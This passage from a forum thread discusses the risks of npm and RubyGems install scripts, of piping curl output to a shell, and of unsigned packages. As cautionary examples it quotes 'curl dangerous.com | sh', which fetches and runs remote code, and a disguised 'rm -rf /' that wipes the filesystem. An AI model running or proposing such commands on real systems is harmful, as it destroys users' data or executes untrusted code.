awareness for this is always good many now just have scripts doing curl blah | sudo and expecting the blah url will always serve the content they expect. signed versions seems to be the current best way to not have problems, even thus its not perfect. And of course, most things like npm either dont support this or dont support it well, or nobody cares about it
Npm install could be dangerous
21–30 of 100 posts
Re: Npm install could be dangerous
#22Earlier quoted context omitted.
Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)
How would it catch something like cp /bin/rm ponies ; ./ponies -rf /
Re: Npm install could be dangerous
#23I could just as easily embed something like that in any code on any open source project in any language as part of the installer or the main code base.
Title of the post should be "Running code you haven't read can be dangerous"
Re: Npm install could be dangerous
#24> […] as dangerous as `curl dangerous.com | sh`. dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.
I often wonder about the results of people using functional hostnames in their examples. Most PoC exploit code use "target.com" as a place holder which makes sense, but hilariously is also the hostname for US retailer Target...
Re: Npm install could be dangerous
#25Earlier quoted context omitted.
Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)
See Halting Problem: http://en.wikipedia.org/wiki/Halting_problem ELI5: It is proven to be impossible to tell exactly what a program is going to do without executing it.
You can obviously tell what a trivial program will do by looking at it.
Re: Npm install could be dangerous
#26Earlier quoted context omitted.
Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)
See Halting Problem: http://en.wikipedia.org/wiki/Halting_problem ELI5: It is proven to be impossible to tell exactly what a program is going to do without executing it.
(If the halting problem is a problem, try executing it in a sandbox.)
Re: Npm install could be dangerous
#27It's not just Npm, RubyGems has essentially the same issue. I think the real lesson is "be careful what you install".
But yes ultimately you are right.
Re: Npm install could be dangerous
#28Of course what's extra worrying is it's not just the libs you directly install, but all their dependencies which get to carry out these actions. So for example when you install rails, it will install quite a large number of subsidiary gems.
Then when you add in the fact that the credentials that control dev access to push to places like rubygems and npm are just static username/password combos (which sometimes get stored in plain text in a dot file in the developers home dir) and that there's no common use of digital signing for issued libs (in some cases the installers don't even support it).
Re: Npm install could be dangerous
#29Until object capability type systems become more popular, this will always be an issue. Unless you hand audit everything. Good luck being productive doing that, if you even have the skills or team members able to audit code.
Re: Npm install could be dangerous
#30Earlier quoted context omitted.
Or if it saw anything dangerous, it'd confirm that you want to run it. Edit: Fair points on all the comments below, pardon my ignorance :)
How would it catch something like cp /bin/rm ponies ; ./ponies -rf /
Of course, not everything is as obvious to detect as deleting files :)